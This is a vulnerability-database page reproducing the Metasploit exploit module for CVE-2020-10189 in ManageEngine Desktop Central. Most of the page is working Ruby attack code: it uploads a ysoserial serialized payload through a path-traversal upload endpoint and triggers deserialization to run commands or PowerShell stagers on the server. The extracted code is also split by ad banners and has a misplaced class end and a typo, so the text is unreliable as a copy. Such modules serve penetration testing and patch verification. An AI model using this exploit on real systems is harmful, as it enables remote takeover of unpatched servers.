

Vulmon

Recent Vulnerabilities

Product List


Research Posts

Trends


Blog

About

Contact

 Vulmon Alerts

CVE Number, Company, Product, ...



☒ By Relevance

☐ By Risk Score



☐ By Publish Date

ManageEngine Desktop Central - Java Deserialization (Metasploit)

Related Vulnerabilities: [CVE-2020-10189](#)

Publish Date: 17 Mar 2020

Author: [Metasploit](#)

 Source /  Download Exploit

```
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::CmdStager
  include Msf::Exploit::Powershell
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'ManageEngine Desktop Central Java Deserialization',
      'Description'     => %q{
        This module exploits a Java deserialization vulnerability in the
        getChartImage() method from the FileStorage class within ManageEngine
        Desktop Central versions < 10.0.474. Tested against 10.0.465 x64.

        "The short-term fix for the arbitrary file upload vulnerability was
        released in build 10.0.474 on January 20, 2020. In continuation of that,
        the complete fix for the remote code execution vulnerability is now
        available in build 10.0.479."
      },
      'Author'          => [
        'mr_me', # Discovery and exploit
        'wvu'    # Module
      ],
      'References'       => [
        ['CVE', '2020-10189'],
        ['URL', 'https://srcincite.io/advisories/src-2020-0011/'],
        ['URL', 'https://srcincite.io/pocs/src-2020-0011.py.txt'],
        ['URL', 'https://twitter.com/steventseeley/status/1235635108498948096'],
        ['URL', 'https://www.manageengine.com/products/desktop-central/remote-code-execution-vulnerability.html']
      ],
      'DisclosureDate'   => '2020-03-05', # 0day release
      'License'          => MSF_LICENSE,
      'Platform'         => 'windows',
      'Arch'             => [ARCH_CMD, ARCH_X86, ARCH_X64],
      'Privileged'       => true,
      'Targets'          => [
        ['Windows Command',
          'Arch'      => ARCH_CMD,
          'Type'      => :win_cmd
        ],
        ['Windows Dropper',
          'Arch'      => [ARCH_X86, ARCH_X64],
          'Type'      => :win_dropper
        ],
        ['PowerShell Stager',
          'Arch'      => [ARCH_X86, ARCH_X64],
          'Type'      => :psh_stager
        ]
      ],
    )
  end
end
```



Vulnerability Notification Service

You don't have to wait for vulnerability scanning results

Get Started

```
'DefaultTarget'    => 2,
'DefaultOptions'   => {
  'RPORT'          => 8383,
  'SSL'            => true,
  'WfsDelay'       => 60 # It can take a little while to trigger
},
'CmdStagerFlavor'  => 'certutil', # This works without issue
'Notes'           => {
  'PatchedVersion' => Gem::Version.new('100474'),
  'Stability'      => [SERVICE_RESOURCE_LOSS], # May 404 the upload page?
  'Reliability'    => [FIRST_ATTEMPT_FAIL],    # Payload upload may fail
  'SideEffects'    => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
))

register_options([
  OptString.new('TARGETURI', [true, 'Base path', '/'])
])
end

def check
  res = send_request_cgi(
    'method' => 'GET',
    'uri'     => normalize_uri(target_uri.path, 'configurations.do')
  )

  unless res
    return CheckCode::Unknown('Target is not responding to check')
  end

  unless res.code == 200 &&& res.body.include?('ManageEngine Desktop Central')
    return CheckCode::Unknown('Target is not running Desktop Central')
  end

  version = res.get_html_document.at('//input[@id = "buildNum"]/@value')&.text

  unless version
    return CheckCode::Detected('Could not detect Desktop Central version')
  end

  vprint_status("Detected Desktop Central version #{version}")

  if Gem::Version.new(version) < notes['PatchedVersion']
    return CheckCode::Appears("#{version} is an exploitable version")
  end

  CheckCode::Safe("#{version} is not an exploitable version")
end

def exploit
  # NOTE: Automatic check is implemented by the AutoCheck mixin
  super

  print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")

  case target['Type']
  when :win_cmd
    execute_command(payload.encoded)
  when :win_dropper
    execute_cmdstager
  when :psh_stager
    execute_command(cmd_psh_payload(
      payload.encoded,
      payload.arch.first,
      remove_comspec: true
    ))
  end
end

def execute_command(cmd, _opts = {})
  # XXX: An executable is required to run arbitrary commands
  cmd.prepend('cmd.exe /c ') if target['Type'] == :win_dropper

  vprint_status("Serializing command: #{cmd}")
```



Vulnerability Notification Service

You don't have to wait for vulnerability scanning results

[Get Started](#)

```
# I identified mr_me's binary blob as the CommonsBeanutils1 payload :)
serialized_payload = Msf::Util::JavaDeserialization.ysoserial_payload(
  'CommonsBeanutils1',
  cmd
)

# XXX: Patch in expected serialVersionUID
serialized_payload[140, 8] = "\xcf\x8e\x01\x82\xfe\x4e\xf1\x7e"

# Rock 'n' roll!
upload_serialized_payload(serialized_payload)
deserialize_payload
end

def upload_serialized_payload(serialized_payload)
  print_status('Uploading serialized payload')

  res = send_request_cgi(
    'method'      => 'POST',
    'uri'          => normalize_uri(target_uri.path,
                                   '/mdm/client/v1/mdmLogUploader'),
    'ctype'        => 'application/octet-stream',
    'vars_get'     => {
      'udid'       => 'si\\..\\.\\.\\.\\.\\.\\webapps\\DesktopCentral\\_chart',
      'filename'   => 'logger.zip'
    },
    'data'         => serialized_payload
  )

  unless res && res.code == 200
    fail_with(Failure::UnexpectedReply, 'Could not upload serialized payload')
  end

  print_good('Successfully uploaded serialized payload')

  # C:\Program Files\DesktopCentral_Server\bin
  register_file_for_cleanup('..\\webapps\\DesktopCentral\\_chart\\logger.zip')
end

def deserialize_payload
  print_status('Deserializing payload')

  res = send_request_cgi(
    'method'      => 'GET',
    'uri'          => normalize_uri(target_uri.path, 'cewolf/'),
    'vars_get'     => {'img' => '\\logger.zip'}
  )

  unless res && res.code == 200
    fail_with(Failure::UnexpectedReply, 'Could not deserialize payload')
  end

  print_good('Successfully deserialized payload')
end

end
```

Vulmon Search

Vulmon Search is a vulnerability search engine. It gives comprehensive vulnerability information through a very simple user interface.

About

- Home
- Recent Vulnerabilities
- Product List
- Vendor List
- Research Posts
- Trends

Products

- Vulmon Search
- Vulmon Research
- Vulmon Alerts
- Vulmap

Connect

- Twitter
- Reddit
- Linkedin
- Facebook



Vulnerability Notification Service

You don't have to wait for vulnerability scanning results

Get Started



Blog
About
Contact



Vulnerability Notification
Service

You don't have to wait for vulnerability
scanning results

Get Started